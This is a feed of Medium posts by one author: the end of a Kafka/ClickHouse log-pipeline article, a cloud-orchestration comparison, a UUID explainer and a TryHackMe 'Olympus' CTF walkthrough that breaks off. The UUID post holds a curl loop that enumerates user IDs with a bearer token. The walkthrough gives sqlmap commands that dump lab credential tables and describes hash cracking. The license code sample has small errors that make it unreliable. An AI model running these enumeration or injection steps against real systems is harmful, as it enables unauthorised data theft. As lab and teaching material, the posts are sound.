settings:</p><pre>{<br>  &quot;settings&quot;: {<br>    &quot;index&quot;: {<br>      &quot;refresh_interval&quot;: &quot;30s&quot;,<br>      &quot;number_of_shards&quot;: 10,<br>      &quot;number_of_replicas&quot;: 0,<br>      &quot;translog.durability&quot;: &quot;async&quot;<br>    }<br>  }<br>}</pre><p>This pushed us to 80K docs/s, but still nowhere near our 10M target. The fundamental issue was that Elasticsearch, designed for search, wasn’t optimal for high-volume time-series data ingestion.</p><h3>Chapter 2: The Kafka Decision</h3><h3>RabbitMQ Limitations</h3><p>Our RabbitMQ metrics showed clear bottlenecks:</p><ul><li>Average throughput: 50K msg/s</li><li>Peak capability: 100K msg/s (unstable)</li><li>Memory usage: 16GB RAM just for queues</li><li>Persistent messages caused severe disk I/O bottlenecks</li></ul><h3>Why Kafka?</h3><ol><li><strong>Designed for high throughput</strong>: LinkedIn built it for log aggregation</li><li><strong>Horizontal scaling</strong>: Add brokers for linear performance increase</li><li><strong>Compression</strong>: Native support for LZ4, reducing network load by 70%. that was perfect for us. There were too many nas located at different zones. Distance required too many firewall routings.</li><li><strong>Durability</strong>: Replication ensures no data loss for compliance</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UVeL5R5ijjDaa5IQ.png" /></figure><h3>Migration Strategy</h3><p>We implemented a gradual migration using parallel consumers:</p><pre>type DualConsumer struct {<br>    rabbitConsumer *RabbitConsumer<br>    kafkaConsumer  *KafkaConsumer<br>    switchPercent  int32<br>}</pre><pre>func (d *DualConsumer) Start() {<br>    go d.rabbitConsumer.Consume()<br>    go d.kafkaConsumer.Consume()<br>    <br>    ticker := time.NewTicker(5 * time.Minute)<br>    for range ticker.C {<br>        current := atomic.LoadInt32(&amp;d.switchPercent)<br>        if current &lt; 100 {<br>            atomic.AddInt32(&amp;d.switchPercent, 10)<br>        }<br>    }<br>}</pre><p>This approach allowed us to gradually shift traffic from RabbitMQ to Kafka over several hours, with the ability to roll back instantly if issues arose.</p><h3>Chapter 3: ClickHouse Revolution</h3><h3>The Case for ClickHouse</h3><p>Migation to new service made us nervous ofc. But we kept testing. After solving the ingestion problem with Kafka, we still faced storage and query performance issues with Elasticsearch. ClickHouse, designed specifically for time-series data, offered compelling advantages:</p><pre>MetricElasticsearchClickHouseWrite Speed50K/s per node2M+/s per nodeCompression Ratio20%90%1B Row Aggregation30-60 seconds0.5-2 secondsStorage Cost$0.10/GB/month$0.02/GB/month</pre><h3>Schema Design</h3><pre>CREATE TABLE logs (<br>    timestamp DateTime,<br>    brand String,<br>    source_ip IPv4,<br>    dest_ip IPv4,<br>    action Enum8(&#39;allow&#39; = 1, &#39;deny&#39; = 2),<br>    bytes UInt32,<br>    INDEX idx_timestamp timestamp TYPE minmax GRANULARITY 8192<br>) ENGINE = MergeTree()<br>PARTITION BY toYYYYMMDD(timestamp)<br>ORDER BY (brand, timestamp)<br>TTL timestamp + INTERVAL 90 DAY TO DISK &#39;cold_storage&#39;;</pre><p>The <strong>TTL</strong> feature was crucial for Law 5651 compliance, automatically moving older logs to cheaper storage while keeping them queryable. Before that on elasticsearch, we cron a job for every night to export logs and if there are exported logs drop them. <strong>TTL </strong>was perfect!</p><h3>Chapter 4: Go Consumer Optimization</h3><h3>Memory-Efficient Processing</h3><p>We implemented object pooling to reduce garbage collection pressure:</p><pre>var logPool = sync.Pool{<br>    New: func() interface{} {<br>        return &amp;ParsedLog{<br>            Fields: make(map[string]string, 20),<br>        }<br>    },<br>}</pre><pre>func parseLogEfficient(raw []byte) *ParsedLog {<br>    log := logPool.Get().(*ParsedLog)<br>    defer logPool.Put(log)<br>    <br>    log.Timestamp = binary.BigEndian.Uint64(raw[0:8])<br>    log.SourceIP = net.IP(raw[8:12])<br>    <br>    for k := range log.Fields {<br>        delete(log.Fields, k)<br>    }<br>    <br>    return log<br>}</pre><p>This reduced GC pauses from 100ms to under 10ms during peak loads.</p><h3>Pipeline Architecture</h3><p>We structured the processing as a multi-stage pipeline:</p><pre>type Pipeline struct {<br>    stages []Stage<br>    metrics *Metrics<br>}</pre><pre>func (p *Pipeline) Run(ctx context.Context) {<br>    channels := make([]chan Message, len(p.stages)+1)<br>    <br>    for i := range channels {<br>        channels[i] = make(chan Message, 10000)<br>    }<br>    <br>    for i, stage := range p.stages {<br>        for w := 0; w &lt; stage.Workers(); w++ {<br>            go stage.Process(ctx, channels[i], channels[i+1])<br>        }<br>    }<br>}</pre><p>Each stage ran in separate goroutine pools:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*L7S3iMrIgtInruPP.jpg" /></figure><ul><li>Stage 1: Kafka consumption (16 workers)</li><li>Stage 2: Log parsing (32 workers)</li><li>Stage 3: Enrichment (16 workers)</li><li>Stage 4: ClickHouse writing (64 workers)</li></ul><h3>Chapter 5: Production Results</h3><h3>Kafka Configuration</h3><p>Key Kafka settings for optimal performance:</p><pre>num.network.threads=16<br>num.io.threads=16<br>socket.send.buffer.bytes=1048576<br>socket.receive.buffer.bytes=1048576<br>compression.type=lz4<br>batch.size=1048576<br>linger.ms=10</pre><h3>Real-World Metrics</h3><p><strong>Before Migration:</strong></p><ul><li>Throughput: 50K msg/s (unstable during peaks)</li><li>End-to-end latency: p99 = 500ms</li><li>Storage: 10TB/month</li><li>Monthly cost: $8,000</li></ul><p><strong>After Migration:</strong></p><ul><li>Throughput: 5M msg/s (stable, with headroom for 10M)</li><li>End-to-end latency: p99 = 50ms</li><li>Storage: 1.2TB/month (after compression)</li><li>Monthly cost: $1,200</li></ul><h3>Compliance Benefits</h3><p>The new architecture enhanced our Law 5651 compliance:</p><ul><li>Guaranteed log retention for required 2-year period(for regulation 6 month enough)</li><li>Sub-second query response for legal requests</li><li>Cryptographic checksums for tamper detection</li><li>Automated data lifecycle management</li></ul><h3>Chapter 6: Lessons Learned</h3><h3>1. Right Tool for the Job</h3><p>Elasticsearch excels at search but struggles with high-volume time-series ingestion. ClickHouse, purpose-built for this use case, delivered 100x better performance. When choosing a microservice, we got stuck with Elasticsearch. If we had focused more on comparisons earlier, we could have delivered the project sooner.</p><h3>2. Compression Matters</h3><p>Network bandwidth became our first bottleneck. LZ4 compression in Kafka reduced network load by 70% with minimal CPU impact.</p><h3>3. Object Pooling in Go</h3><p>For high-throughput systems, garbage collection can become a major bottleneck. Object pooling and zero-allocation techniques are essential.</p><h3>4. Law 5651 Considerations</h3><p>When building log systems in Turkey:</p><ul><li>Plan for 2-year retention from day one</li><li>Implement tamper-proof mechanisms</li><li>Ensure fast query capabilities for compliance requests</li><li>Consider cold storage for cost optimization</li></ul><p>Most importantly, we transformed from a system struggling with compliance requirements to one that easily handles current loads with significant headroom for growth.</p><p>The combination of Kafka for ingestion, ClickHouse for storage, and optimized Go consumers proved to be the perfect stack for high-volume log processing in a regulatory environment.</p><p>End of the story, there are similar regulations and log streams in everywhere. I belive this little tricks might be helpfull.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4334ed8ee77a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Migration to Cloud]]></title>
            <link>https://medium.com/@capitansec/migration-to-cluod-8075a420f429?source=rss-3d58c8ba3ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/8075a420f429</guid>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[cloud]]></category>
            <dc:creator><![CDATA[Burak Bozacı]]></dc:creator>
            <pubDate>Fri, 15 Dec 2023 13:10:58 GMT</pubDate>
            <atom:updated>2023-12-15T13:57:42.884Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s world, many organizations, communities, or individuals are inclined towards transitioning to the cloud with the aim of creating a faster and more flexible software development process, optimizing costs, and improving business processes. However, this transition is not merely a technological change; it is also a matter of strategy. Selecting the right cloud strategy, considering factors such as the scale of your team, current situation, budget, and management expectations, is key to a successful transition.</p><p>In this article, you will explore various strategies to overcome the challenges of transitioning to the cloud successfully.</p><h3>Strategies</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*9xSRTCwe9qMsJVAe9kpHZw.png" /></figure><p>Your company scale, your familiarity with Linux and Cloud environments, your software development culture, your SDLC structure and many other acquisitions will affect our choice. But the main factor that will affect your choice should be why you want to move to this structure? For example: Do you want to be able to perform operations in private cloud environments in customer environments from a single center? Do you want to divide traffic by multiplexing your microservices and services? Do you expect enterprise support and easy use? Do you want to balance the load by distributing your operations at the process level (<a href="https://mstryoda.medium.com/distributed-application-runtime-dapra-genel-bak%C4%B1%C5%9F-d2677b85b0f7">DAPR- disturbed application runtime</a>), not services?</p><ul><li>Docker Swarm</li><li>Portainer</li><li>Kubernetes</li><li>Openshift</li><li>AWS, Google Cloud, Azure etc. — Bonus</li><li>Virtual over Virtual Discussion — Bonus</li></ul><h3>1-) Docker Swarm</h3><figure><img alt="Diagram from k12academy" src="https://cdn-images-1.medium.com/max/1024/1*EC8XE_87wZ1L9bb5MZb-rA.png" /><figcaption>From k21 academy</figcaption></figure><p>If placing a load-balancer in front of your services and distributing the services to different servers internally did not work, or if some of your services are busy at certain times while others are used less, docker swarm should be the solution you need.</p><p>Docker swarm provides you the ability to multiplex your services on a node basis and autoscale them. It is easy to learn and maintain as its structure is very similar to docker’s default mode.</p><p>However, there are no structures such as deployment, replicaset,service… There is only a service structure, so it is suitable for dividing and multiplexing your microservices on a service basis.</p><p><strong>Difficulty:</strong> Easy<br><strong>Case</strong>: Microservice autoscaling</p><h3>2-) Portainer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTdeusvXiNCkU-3mFtlVAg.png" /></figure><p>If your customers need a docker-swarm style structure in their own environments, if you need a visual interface, if there are situations where you need access to customer environments, this structure will be suitable for you.</p><p>If you provide your applications to fintech, telco, etc. companies in swarm structures, you can manage them from a central point. It will also be easier to monitor because it is possible to track the status of your endpoints from the web panel.</p><p><strong>Difficulty</strong>: Easy<br><strong>Case</strong>: Microservice auto-scaling and distributed swarm clusters</p><h3>3-) Kubernetes(k8s)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2TKzE_SDNGy54gA9Imridw.png" /></figure><p>If you need this structure, you probably have services that use resource utilization to the fullest, such as financial calculations, Artificial Intelligence. It could be a very large e-commerce network or a social media platform. The problems here are that the services are insufficient at first look, but it turns out that it is actually the runtime that is insufficient. Here, services should be reduced to the level of processes and assigned to pods with those process ids and the runtime of the application should be distributed. Thus, static methods/functions in a docker image can be autoscaled according to the needs.</p><p>In order to decide that you need this structure, you need to analyze the bottlenecks, memo dumps, cpu states of your applications during load stress performance tests.</p><p>Deployment, secret, replicaset, deamonset, service, namespace… you will come across many terms. However, this should not be the part that intimidates you. Because it is a structure where dNATs requiring network and system knowledge are flying in the air, blood and tears are shed while debugging.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*l2TLXgpbIKt4vGnIqZ8FdA.gif" /></figure><p><strong>Difficulty</strong>: Hard<br><strong>Case</strong>: Pod/runtime auto-scaling &amp; distributed on nodes</p><h3>4-) Openshift</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BWUYd7M3gT7gC6Z4GuysMg.png" /></figure><p>The platform that makes Kubernetes more manageable and does it with RedHat assurance. The interface is easy, the documentation is extensive. The only difficulty may be the differences between major version transitions.</p><p><strong>Difficulty</strong>: Medium<br><strong>Case</strong>: Pod/runtime auto-scaling &amp; distributed on nodes</p><h3>5-) AWS, Google Cloud, Azure etc.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ubDZE8q1LkAFdWsYaUfGHA.jpeg" /></figure><p>Languages like .NET and Java work more seamlessly within the paid environments provided by the companies that develop them. Despite being cross-platform and advocates of open source, I tend to steer clear of Azure and Oracle Cloud. While they offer robust solutions for enterprises and businesses subject to various regulatory requirements, they are evidently not as suitable for open-source development environments or individual projects.</p><p>For another thing, many companies are starting to provide SaaS/PaaS services. I think we need to give them a little more time. I witnessed a bad experience where a whole cluster was wiped and disappeared in an instant.</p><h3>Virtual over Virtual Discussion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*hWVuG63ZyXU7o8idgUHW5g.gif" /></figure><p>It is thought that orchestration tools like Kubernetes should not be built on virtual machines. You can see in github discussions, stackoverflow and many other platforms that too many abstract structures intertwined affect the speed of traffic.</p><blockquote>This part is just my comments about topic.</blockquote><p>1-) Container is not a virtual machine. Each container has the role of using all system resources. Unless the container is specifically restricted, it can use all resources even if a resource limit is given in deployments. The resource limit only ensures that pods are restarted/rollout when exceeded. Containers does not have hardcoded system resources like a virtual machine.</p><p>2-) Container emulates the virtual machine in an abstract way. And it does this by isolation. Maybe you have noticed: containers do not have a hostname structure, so systemctl commands do not work, but the service command does. It is neither a complete OS nor a complete process.</p><p>3-) No matter how much virtual network interface is defined in localhost, since the gateway is still on the local machine / traffic will pass through the same circuit, it is difficult to experience bottleneck. Installing kubernetes on virtual machines, running openshift should not be an issue to be feared.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8075a420f429" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UUID Specifications]]></title>
            <link>https://medium.com/@capitansec/uuid-specifications-978d71c383d4?source=rss-3d58c8ba3ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/978d71c383d4</guid>
            <category><![CDATA[statistics]]></category>
            <category><![CDATA[api-development]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Burak Bozacı]]></dc:creator>
            <pubDate>Sun, 02 Jul 2023 12:35:22 GMT</pubDate>
            <atom:updated>2023-07-02T12:44:08.048Z</atom:updated>
            <content:encoded><![CDATA[<p>Imagine you are writing a license validation software. Or you want to take action against end-users being enumerated. We may need UUID (Universally Unique Identifier) in many different scenarios. Let’s go deeper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pf6mk0YPQYj6s3dJeWRwmQ.png" /></figure><p>UUID (Universally Unique Identifier) is a universally unique identifier. UUIDs are often used as a primary key or unique ID, providing a guarantee of randomness and uniqueness. UUIDs are defined by a specification based on<a href="https://datatracker.ietf.org/doc/html/rfc4122"> RFC 4122</a> (<a href="https://en.wikipedia.org/wiki/Request_for_Comments">Request for Comments</a>).</p><h3><strong>USE CASES</strong></h3><p><strong>1.License Verification Keys:</strong> You can use unique keys to verify the license of a software. Generating a unique UUID for each license and using that UUID during the licensing process can ensure the uniqueness of the license and facilitate the license verification process. Simple example:</p><pre>import uuid<br>import hashlib<br>from datetime import datetime<br><br><br>def get_machine_id():<br>    try:<br>        with open(&#39;/etc/machineid&#39;, &#39;r&#39;) as f:#machine unique id<br>            machine_id = f.read().strip()<br>            return machine_id<br>    except IOError:<br>        return None<br><br><br>def generate_license_key(name, expiration_date):<br>    machine_id = get_machine_id()<br>    if machine_id:<br>        license_data = f&quot;{name}|{expiration_date}|{machine_id}&quot;<br>        license_key = hashlib.sha256(license_data.encode()).hexdigest()<br>        uuid_key = str(uuid.uuid4())<br>        final_license_key = f&quot;{license_key}-{uuid_key}&quot;<br>        return final_license_key<br>    else:<br>        return None<br><br><br>def verify_license_key(license_key, name, expiration_date):<br>    machine_id = get_machine_id()<br>    if machine_id:<br>        license_data = f&quot;{name}|{expiration_date}|{machine_id}&quot;<br>        license_key_without_uuid = license_key.split(&#39;-&#39;)[0]<br>        expected_license_key = hashlib.sha256(license_data.encode()).hexdigest()<br>        if license_key_without_uuid == expected_license_key:<br>            return True<br>    return False<br><br><br>name = &quot;Burak Bozaci&quot;<br>expiration_date = datetime(1920, 04, 23)<br><br>license_key = generate_license_key(name, expiration_date)<br>print(&quot;License Key:&quot;, license_key)<br><br># License validation<br>is_valid = verify_license_key(license_key, name, expiration_date)<br>print(&quot;Is valid:?&quot;, is_valid)</pre><p><strong>2. User IDs: </strong>You can use a UUID to uniquely identify a user. For example, you can assign a unique UUID to each user to register and identify users in a web application. This can be useful for tracking users, authenticating, and correlating data. You can use uuid instead of ids for api route decleration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BFFpkX7NkeKC3pP9Fnw1oQ.png" /></figure><p>If I had used id instead of UUID, an authenticated user could pull other users’ information as follows and create a data pool for himself.</p><pre>#!/bin/bash<br><br>BASE_URL=&quot;http://localhost:8000/user/&quot;<br>TOKEN=&quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InN0cmluZyJ9.o-KAnoknzLaN3OZjv1zhFSkhazxNSeeJeku-Xzn5Oow&quot;<br><br>for ((i=1; i&lt;=250; i++))<br>do<br>    URL=&quot;${BASE_URL}${i}&quot;<br>    curl -X GET &quot;$URL&quot; -H &quot;accept: application/json&quot; -H &quot;Authorization: Bearer $TOKEN&quot;<br>done</pre><p><strong>3. Database Primary Keys:</strong> You can use UUID to uniquely identify records in a database. UUIDs, when used instead of auto-incrementing numeric keys, allow data to be securely replicated across different servers or databases.</p><h3><strong>Randomness and Uniqueness</strong></h3><ul><li>UUIDs are represented as a 32-digit hexadecimal string. It is in four separate groups, which can also be represented without the use of hyphens (“-”) or any separators.</li><li>UUIDs guarantee the creation of an identity that is recognized as unique worldwide. The probability of each UUID is very low, which means that the probability of generating the same UUID more than once is almost impossible.</li><li>Some UUID versions include a timestamp. This indicates when the UUID was generated and is useful in scenarios that require time-based sorting or a time-related ID.</li><li>Some UUID versions are generated based on a name or text. These versions can be used to generate the same UUID from the same name or text.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*EJkizGyAxxaI-Uzsiy92KQ.png" /></figure><h3>Versions</h3><p>There are several uuid versions available. I don’t want to make this part too long because it’s pretty popular information.</p><p><strong>UUIDv1</strong> <strong>—</strong> It is based on time and MAC address. Often its primary purpose is to ensure uniqueness and time-based sorting. It contains a 60-bit timestamp and a 48-bit MAC address.</p><p><strong>UUIDv2 —</strong> Reserved for <a href="https://en.wikipedia.org/wiki/Distributed_Component_Object_Model">DCOM (Distributed Component Object Model)</a> use, but not widely used and supported in general.</p><p><strong>UUID v3 &amp; v5 — </strong>Created using the MD5 hash function using a name or a text-based name and a namespace ID. The same name and namespace ID always generate the same UUID. The difference between v3 and v5 is which hash type they use. Version3 uses MD5, version5 uses SHA-1.</p><p><strong>UUIDv4 —</strong> Generated with random numbers. This is usually the most used and widely supported UUID version. It contains 122 random bits and the remaining 6 bits encode the version and variant information.</p><h3>Forcing UUID Randomness</h3><p>Collisions are unlikely to occur on standard version-1 and version-2 UUIDs that use unique MAC addresses from network cards. Although version-4 UUIDs have a small enough chance to normally be ignored, collisions can occur even without implementation issues. This possibility can be challenged precisely by the method called birthday attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*AYX3mkIW5YpYnF8D7qI9tg.gif" /></figure><p>This is an <strong>astronomical probability</strong>. The type of attack used to calculate collisions is called a <a href="https://en.wikipedia.org/wiki/Birthday_attack#Understanding_the_problem"><em>birthday attack</em></a>. The birthday attack takes its name from the <a href="https://en.wikipedia.org/wiki/Birthday_problem">birthday paradox</a>. The birthday paradox examines the probability that some couples in a group of n randomly selected people will have the same birthday.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*cvvKtO2cXBGZIfdLNcJziw.gif" /></figure><p>You can see above how the probability that at least two people’s birthdays coincide increases as the number of people in the surveyed group increases.</p><h3>UUID Collisions</h3><p>For example, the number of random version-4 UUIDs which need to be generated in order to have a 50% probability of at least one collision is 2.71 quintillion, computed as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*Z_JqfECv3n9xLszNHrjmiw.png" /></figure><p>This number is equivalent to generating 1 billion UUIDs per second for about 86 years. A file containing this many UUIDs, at 16 bytes per UUID, would be about 45 <a href="https://en.wikipedia.org/wiki/Exabyte">exabytes</a>.</p><p>The smallest number of version-4 UUIDs which must be generated for the probability of finding a collision to be <em>p</em> is approximated by the formula:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/213/1*NuMDdjRP4Yhno5FcvnYRJQ.png" /></figure><p>Thus, the probability to find a duplicate within 103 trillion version-4 UUIDs is one in a billion.</p><h3>REFERENCES</h3><ul><li><a href="https://en.wikipedia.org/wiki/Birthday_attack">https://en.wikipedia.org/wiki/Birthday_attack</a></li><li><a href="https://en.wikipedia.org/wiki/Universally_unique_identifier">https://en.wikipedia.org/wiki/Universally_unique_identifier</a></li><li><a href="https://en.wikipedia.org/wiki/Birthday_problem">https://en.wikipedia.org/wiki/Birthday_problem</a></li><li><a href="https://www.youtube.com/watch?v=5Wt-_l7nG18">https://www.youtube.com/watch?v=5Wt-_l7nG18</a></li><li><a href="https://www.geeksforgeeks.org/birthday-attack-in-cryptography/">https://www.geeksforgeeks.org/birthday-attack-in-cryptography/</a></li><li><a href="https://betterexplained.com/articles/understanding-the-birthday-paradox/">https://betterexplained.com/articles/understanding-the-birthday-paradox/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=978d71c383d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Olympus Walkthrough [THM]-Detailed]]></title>
            <link>https://infosecwriteups.com/olympus-walkthrough-thm-detailed-f68dd3e96ef7?source=rss-3d58c8ba3ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/f68dd3e96ef7</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Burak Bozacı]]></dc:creator>
            <pubDate>Tue, 21 Feb 2023 20:43:39 GMT</pubDate>
            <atom:updated>2023-02-22T10:59:29.262Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*EQZJIrItRpK5j89pV99lIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*tKBOTVbqI3mOfYjiFAX60g.png" /></figure><h3>SUMMARY</h3><p>For the user flag, you will proceed with web enumeration and SQL injection. You will be able to get a reverse shell by associating the upload mechanism with the database. The find command is unavoidable for privilege escalation. Root part cannot be bypassed with tools such as <strong><em>linenum</em></strong>, <strong><em>linpeas</em></strong> that you are used to. When you get the root flag at the final, you will have a little question.</p><h3>INTRODUCTION</h3><blockquote>First of all, I would like to point out that I tried to touch on every topic I encountered and thought about this case. You should think of it as a <em>mindmap</em> rather than a direct solution. You can reach me on discord for different methods.</blockquote><h3>PORT SCANNING</h3><p>The platform just gives us the IP address of the target. Therefore, we will need to learn which services and processes are running on the server. I tried to summarize <a href="https://medium.com/codingwizards/system-architecture-for-cyber-security-b15d09e7869">here</a> how to detect these services and processes from outside the server.</p><pre>nmap -sCV 10.10.45.184 -oA nmap/olympus</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*ln3yvCV52I1dJn79rJafJw.png" /></figure><p>We can see the services running on port 22 and 80. With the -sV parameter, we were able to view the versions of the services broadcasting on these ports. We also ran the default scripts with -sC. For example, if port 80 is open, it sends a request to the site. As you can see, the site redirected us to a domain. Let’s add domain to the host file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*LF3p7NTBODydJf7mpzoyzw.png" /></figure><h3>WEB</h3><p>I’m going to the domain through the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*GYgj9___y_ChcG-3F-TW1Q.png" /></figure><p>When I saw this, I thought that there might be sub domains like <em>v1.olympus.thm</em> or <em>dev.olympus.thm</em>. After a few tries and brute-force attempts for the subdomain, I got nothing. Let’s dig further on web. I use the <a href="https://www.kali.org/tools/gobuster/"><em>gobuster</em></a> tool to check the site’s directories. When I couldn’t get much efficiency from <a href="https://www.kali.org/tools/dirbuster/"><em>Dirbuster</em></a>’s lists, I proceeded with a different list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*YjcKmtKU8ancz8qFNuSzqw.png" /></figure><p>I checked all blog posts and noted the author names of for each posts. It can be used as username for people who share posts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*hpUwA62OuTU_V_X8ODSjcA.png" /></figure><p>Register and most functions are useless. After login attempts, the application returns null data. After digging around, I see that only the search field is working properly.</p><h3>SQL INJECTION</h3><p>When I query with meta characters like single quotes, I see the SQL syntax error. It’s okay, except useless payload :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*b0D5u0fCuYa2yjs8VK_rdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*IYnbbsaNFaj-wmmL3nSIvA.png" /><figcaption>don’t judge the payload :)</figcaption></figure><p>As you can see… Error based sql injection. I’ll capture the request it throws with a web proxy like burp-suite or zap so as not to continue manually. I will save the captured request in a text based file and use it in sqlmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*sbB2NrcuLaZWVTnqxDbAQw.png" /><figcaption>144p . It took 6 min</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*DEUaY774usoUgUFJtAXmSw.png" /></figure><p>I’m starting to mess around with databases and tables. We get our first flag.</p><pre>sqlmap -r search.req -D olympus -T flag -C flag –dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*sEUM5N_QWfUEGCNeXuWpSQ.png" /></figure><p>I continue to dig with the tables.</p><pre>sqlmap -r search.req -D olympus -T chats -C dt,file,msg,uname –dump</pre><p>As you can see below, that the file uploaded from a chat channel is saved in the upload folder by a random name, perhaps by a hash value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*LjHGwsx7B1Hhm6De56Xm7g.png" /></figure><p>Then, of course I search for users.</p><pre>sqlmap -r search.req -D olympus -T users -C user_email,user_name,user_password,user_role –dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*_otX7fb5kFsuKJM5r40vPg.png" /><figcaption>Maybe i’m blind?</figcaption></figure><p>I spent half an hour on the database. It was ridiculous. Because I missed that. In the user_email column, I see a subdomain in the form of chat.olympus.thm. I’ll add it to my hosts file and check. Then I lost my connection with the machine. I will restart the machine again and update my hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*WIMvPA3aGeHj4qBjchmCsw.png" /><figcaption>Login Page</figcaption></figure><h3>DECRYPTION</h3><p>We will need to crack the hashes we have captured over the DB. I save the password and username information to a file like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*_CYNL7TGYUEuOYSFM2Qn1g.png" /></figure><p>We can use john or hashcat. Since John detects the encryption algorithm himself, it is less of a hassle. So let’s do it with hashcat. First we need to determine the encryption algorithm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*S_nvs_IsRy3BXemZtWiX5w.png" /><figcaption>my luck :)</figcaption></figure><p>It’s easy to understand that it’s actually bcrypt since it starts with “$2y$”. But we also need to determine which subtype of bcrypt it is required. We will compare from the <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">Hashcat-hash-examples wiki</a> site.</p><p>The parts to be aware of are that the number of characters and beginnings of the hashes are similar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*Wh-9Tm8_NeeFdOuZvM64jA.png" /></figure><blockquote>bcrypt $2*$, Blowfish (Unix) , bcrypt(md5($pass)) / bcryptmd5 , bcrypt(sha1($pass)) / bcryptsha1</blockquote><p>I couldn’t decide. Because the character lengths and format are similar. It looks like it was sha1 and then bcrypted. But as I said, I can’t be sure. I may have to try in order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*CaCJ2qbJ7KJH0kLxmpSIUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*zhlPv3okyPFozxTbEMIcMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*fCGLAUBjsfSl6JR7Fs4fwA.png" /><figcaption>almost %99 CPU</figcaption></figure><p>After, my pc started to act like a helicopter. I continue with the hash algorithm with the code 3200. Others seemed to take a long time, I turned it off.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*Je8LKwhQCxKaOMAihviVAg.png" /><figcaption>while using hashcat or john my pc</figcaption></figure><p>Hash belongs to prometheus. I am logging in with prometheus from chat.olympus.thm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*RyGooSaCYy7A3rAAZHBBow.png" /><figcaption>I don’t wanna blur anymore</figcaption></figure><h3>REVERSE SHELL</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*iBdANL91YWiEYy6IEq6q0w.png" /></figure><p>Here we see the mapping of the uploaded files on the db. We will check a file that we will upload from here over the db. We will search for the random name assigned to the file in the upload path. Let’s try a test.txt first. If we can access the file, we can force it to get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*-JU7R0l42WbEf-GlaH9wJg.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*ZTlrzu4-CrmGgFwXNMuyOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*1TNSR24s3nVWKqV3Xd8LiQ.png" /><figcaption>— fresh-queries is the key.</figcaption></figure><p>I’m trying to go as upload/filename but I can’t. While experimenting like uploads/Upload I finally find 